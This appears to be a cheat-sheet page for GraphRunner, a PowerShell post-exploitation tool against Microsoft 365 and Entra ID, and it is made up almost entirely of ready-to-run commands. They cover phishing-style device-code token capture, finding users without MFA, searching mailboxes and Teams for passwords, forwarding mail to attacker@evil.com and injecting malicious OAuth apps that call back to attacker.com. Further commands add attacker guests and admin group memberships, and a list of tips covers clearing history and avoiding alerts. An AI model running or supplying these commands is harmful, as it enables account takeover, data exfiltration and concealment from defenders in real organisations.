Pular para o conteúdo

GraphRunner

GraphRunner is a PowerShell tool that leverages the Microsoft Graph API for post-exploitation operations in Microsoft 365 and Entra ID environments. It enables attackers to enumerate user accounts, access sensitive data, establish persistence, and escalate privileges with valid credentials or tokens.

Install GraphRunner from the official repository:

# Clone the GraphRunner repository
git clone https://github.com/dafthack/GraphRunner.git
cd GraphRunner

# Import the module (from the GraphRunner directory)
Import-Module ./GraphRunner.ps1

# Verify module is loaded
Get-Command -Module GraphRunner

Alternatively, add GraphRunner to your PowerShell modules directory for system-wide access:

# Copy module to PowerShell modules path
Copy-Item -Path ./GraphRunner -Destination "$PROFILE\..\Modules\" -Recurse

# Import from anywhere
Import-Module GraphRunner

Acquire tokens using device code flow, useful for phishing or obtaining user interaction:

# Acquire tokens via device code flow
Get-GraphTokens -UserAgent

# Authenticate with specific scopes
Get-GraphTokens -ClientID "1b730954-1685-4b74-9bfd-dac224daafdd"

# Output includes UserToken, RefreshToken, and metadata

Refresh expired access tokens using refresh tokens:

# Refresh user token
Invoke-RefreshGraphTokens -RefreshToken $refreshToken -ClientID $clientID

# Refresh with custom parameters
Invoke-RefreshGraphTokens -RefreshToken $rt -Tenant "contoso.com"

Automate OAuth authentication without manual intervention:

# Automatic OAuth flow with stored credentials
Invoke-AutoOAuthFlow -Username "user@contoso.com" -Password "P@ssw0rd"

# Use device code for interactive auth
Invoke-AutoOAuthFlow -DeviceCode -ClientID $clientID
Token TypeScopeUse Case
User TokenUser.Read, Mail.ReadUser account operations
App Token.defaultService principal permissions
DelegatedUser.ReadWrite.AllModify user attributes
ApplicationApplication.ReadWrite.AllManage applications

Enumerate users and groups in the tenant:

# Get all users in tenant
Get-AzureADUsers -AccessToken $accessToken

# Get users with specific filter
Get-AzureADUsers -AccessToken $accessToken -Filter "startswith(userPrincipalName,'admin')"

# Get all security groups
Get-SecurityGroups -AccessToken $accessToken

# Get groups owned by specific user
Get-SecurityGroups -AccessToken $accessToken -Owner "admin@contoso.com"

Identify groups that can be modified:

# Find updatable groups (where token has write permissions)
Get-UpdatableGroups -AccessToken $accessToken

# Returns groups where you have AddMember permissions
# Useful for privilege escalation via group membership

Enumerate and analyze dynamic membership rules:

# Get all dynamic groups
Get-DynamicGroups -AccessToken $accessToken

# Extract membership rules for analysis
Get-DynamicGroups -AccessToken $accessToken | Select-Object displayName, membershipRuleProcessingState

Discover SharePoint sites and document libraries:

# Get all SharePoint sites
Get-SharePointSites -AccessToken $accessToken

# Get specific site details
Get-SharePointSites -AccessToken $accessToken -Site "contoso.sharepoint.com"

# Enumerate document libraries
Get-SharePointSites -AccessToken $accessToken -Libraries

Check which users have multi-factor authentication enabled:

# Get MFA status for all users
Get-MFAStatus -AccessToken $accessToken

# Identify users without MFA (high-value targets)
Get-MFAStatus -AccessToken $accessToken | Where-Object {$_.MFAEnabled -eq $false}

Run full tenant reconnaissance:

# Comprehensive recon of entire tenant
Invoke-GraphRecon -AccessToken $accessToken -OutputFile recon.txt

# Detailed recon with specific focus areas
Invoke-GraphRecon -AccessToken $accessToken -Users -Groups -Applications -Sites -Output detailed_recon.json

Search user mailboxes for sensitive information:

# Search mailbox for keyword
Invoke-SearchMailbox -AccessToken $accessToken -User "target@contoso.com" -SearchQuery "password"

# Search with date range
Invoke-SearchMailbox -AccessToken $accessToken -User "target@contoso.com" -SearchQuery "confidential" -StartDate "2024-01-01" -EndDate "2024-12-31"

# Search all mailboxes (requires high privileges)
Invoke-SearchMailbox -AccessToken $accessToken -AllMailboxes -SearchQuery "financial"

Search Teams messages and channels:

# Search Teams for sensitive data
Invoke-SearchTeams -AccessToken $accessToken -SearchQuery "API key"

# Search specific Teams workspace
Invoke-SearchTeams -AccessToken $accessToken -Team "Engineering" -SearchQuery "password"

# Extract messages from specific user
Invoke-SearchTeams -AccessToken $accessToken -User "target@contoso.com"

Read user messages and send emails:

# Read recent messages from user's inbox
Get-MailboxMessages -AccessToken $accessToken -User "target@contoso.com" -Folder "Inbox" -Limit 50

# Send email on behalf of user
Send-MailboxMessage -AccessToken $accessToken -User "target@contoso.com" -To "attacker@evil.com" -Subject "Data" -Body "Sensitive data here"

# Create forwarding rule
Set-MailboxRule -AccessToken $accessToken -User "target@contoso.com" -ForwardTo "attacker@evil.com"

Download files from cloud storage:

# Search SharePoint and OneDrive for files
Invoke-SearchSharePointAndOneDrive -AccessToken $accessToken -SearchQuery "confidential"

# Download specific file
Invoke-SearchSharePointAndOneDrive -AccessToken $accessToken -FilePath "/sites/Finance/Documents/Budget.xlsx" -Download

# Enumerate all files in specific site
Invoke-SearchSharePointAndOneDrive -AccessToken $accessToken -Site "contoso.sharepoint.com" -Recursive

Download sensitive files:

# Download file by path
Get-GraphFile -AccessToken $accessToken -FilePath "/drive/root/Documents/secret.docx" -OutputPath ./secret.docx

# Download multiple files
Get-GraphFile -AccessToken $accessToken -FileList @("file1.docx", "file2.xlsx") -OutputPath ./downloaded/

# Enumerate OneDrive contents
Get-GraphFile -AccessToken $accessToken -User "target@contoso.com" -OneDrive -Recursive

Extract data from Teams:

# Get Teams list and channels
Get-TeamsData -AccessToken $accessToken

# Download Teams chat history
Get-TeamsData -AccessToken $accessToken -Team "Engineering" -ExportChat -OutputPath ./teams_chat.csv

# Extract Teams shared files
Get-TeamsData -AccessToken $accessToken -Team "Finance" -Files -Download

Access Teams direct messages:

# Get direct messages
Get-TeamsDM -AccessToken $accessToken -User "target@contoso.com" -Limit 100

# Export DM thread
Get-TeamsDM -AccessToken $accessToken -Conversation "conversation-id" -Export -OutputPath ./messages.csv

Inject malicious OAuth applications for persistent access:

# Create and inject OAuth app
Invoke-InjectOAuthApp -AccessToken $accessToken -AppName "WindowsUpdate" -ReplyURL "https://attacker.com/callback"

# Register app with high permissions
Invoke-InjectOAuthApp -AccessToken $accessToken -AppName "GraphHelper" -ReplyURL "https://attacker.com/oauth" -Permissions "Mail.Read", "Calendar.Read", "Files.Read.All"

# Extract app credentials
Invoke-InjectOAuthApp -AccessToken $accessToken -ExistingApp "GraphHelper" -GenerateSecret

Escalate app permissions for broader access:

# Add permissions to existing app
Add-ApplicationPermission -AccessToken $accessToken -ApplicationID $appID -Permission "User.ReadWrite.All"

# Grant admin consent for permissions
Add-ApplicationPermission -AccessToken $accessToken -ApplicationID $appID -AdminConsent -Permission "Mail.ReadWrite", "Calendar.ReadWrite"

# Add dangerous permissions for persistence
Add-ApplicationPermission -AccessToken $accessToken -ApplicationID $appID -Permission "RoleManagement.ReadWrite.Directory"

Invite external users for persistent access:

# Invite guest user to tenant
Invite-GuestUser -AccessToken $accessToken -GuestEmail "attacker@evil.com" -Message "Join our organization"

# Invite multiple guests
Invite-GuestUser -AccessToken $accessToken -GuestList @("guest1@evil.com", "guest2@evil.com")

# Add guest to sensitive group
Invite-GuestUser -AccessToken $accessToken -GuestEmail "attacker@evil.com" -AddToGroup "Executives"

Add users to privileged groups:

# Add user to updatable group
Add-GroupMember -AccessToken $accessToken -GroupID $groupID -UserID $targetUserID

# Add current user to admin group
Add-GroupMember -AccessToken $accessToken -GroupID "62e90394-69f5-4237-9190-012177145e10" -UserID (Get-GraphUser -Self).id

# Bulk add members to sensitive groups
Add-GroupMember -AccessToken $accessToken -GroupID $groupID -UserList @($user1, $user2, $user3)

Manipulate dynamic group membership rules:

# Get dynamic group rules
Get-DynamicGroupRules -AccessToken $accessToken -GroupID $groupID

# Modify user attributes to match dynamic rules
Set-UserAttribute -AccessToken $accessToken -UserID $userID -Attribute "department" -Value "Executives"

# User automatically added to group via rule update

Abuse application consent grants for escalation:

# Find overprivileged applications
Get-PrivilegedApps -AccessToken $accessToken

# Grant excessive permissions to compromised app
Grant-AppConsent -AccessToken $accessToken -AppID $appID -Scope "RoleManagement.ReadWrite.Directory"

# Use app token for elevated operations
$appToken = Get-AppToken -RefreshToken $appRefresh
Add-AdminUser -AccessToken $appToken -UserID $newAdminID

Work with authentication tokens:

# Extract current token details
$token = Get-GraphTokens -UserAgent
$token | Select-Object -Property AccessToken, RefreshToken, Tenant, ExpiresOn

# Decode JWT token payload
Invoke-DecodeJWT -Token $token.AccessToken

# Check token permissions (scopes)
Invoke-DecodeJWT -Token $token.AccessToken | Select-Object -ExpandProperty scp

Maintain token access:

# Refresh before expiration
$newToken = Invoke-RefreshGraphTokens -RefreshToken $token.RefreshToken

# Store for later use
$newToken | Export-Clixml -Path ./token.xml

# Load token for reuse
$token = Import-Clixml -Path ./token.xml

Analyze available scopes:

# List all granted scopes
$token = Get-GraphTokens
Invoke-DecodeJWT -Token $token.AccessToken | Select-Object -ExpandProperty scp

# Request additional scopes
Get-GraphTokens -ClientID $clientID -Scopes "Mail.ReadWrite", "Calendar.ReadWrite.All"
IssueCauseSolution
Token expiredAccess token lifetime exceededUse refresh token with Invoke-RefreshGraphTokens
Access deniedInsufficient permissionsRequest additional scopes or use higher-privilege account
Module not foundGraphRunner not importedImport-Module ./GraphRunner.ps1
Rate limitedToo many API callsAdd delays between requests, use batch operations
Invalid tenantWrong tenant ID providedVerify tenant GUID or domain name

Enable verbose output:

# Enable debug output
$DebugPreference = "Continue"

# Run commands with verbose output
Get-AzureADUsers -AccessToken $accessToken -Verbose

# Capture full API responses
$DebugOutput = Invoke-GraphRecon -AccessToken $accessToken -Debug 2>&1

Verify token validity before use:

# Check token expiration
$payload = Invoke-DecodeJWT -Token $accessToken
$expTime = [datetime]::UnixEpoch.AddSeconds($payload.exp)

# Validate token not expired
if ((Get-Date) -lt $expTime) { Write-Host "Token valid" }
else { Write-Host "Token expired, refresh needed" }
  • Refresh tokens frequently to avoid detection patterns
  • Use device code flow to avoid direct credential transmission
  • Clear PowerShell history: Clear-History
  • Remove module traces: Remove-Module GraphRunner
  • Use sleep intervals between large enumeration operations
  • Avoid searching all mailboxes; target specific users
  • Store tokens in memory, not disk
  • Encrypt credentials with DPAPI if persistence needed
  • Use separate tokens for different operations
  • Revoke compromised tokens immediately
  • Monitor token refresh patterns for anomalies
  • Use application permissions for silent operations
  • Avoid admin notification events (Add-ApplicationPermission triggers alerts)
  • Schedule operations during business hours
  • Use service accounts instead of user accounts
  • Clean up injected OAuth apps after exfiltration
  • Remove guest users after data access
ToolPurpose
ROADtoolsMicrosoft 365 enumeration and exploitation
AzureHoundEntra ID security and permission mapping
TokenTacticsToken theft and manipulation
AADInternalsEntra ID internal operations
MicroburstAzure enumeration and exploitation
MicroBurpAzure Blob Storage exploitation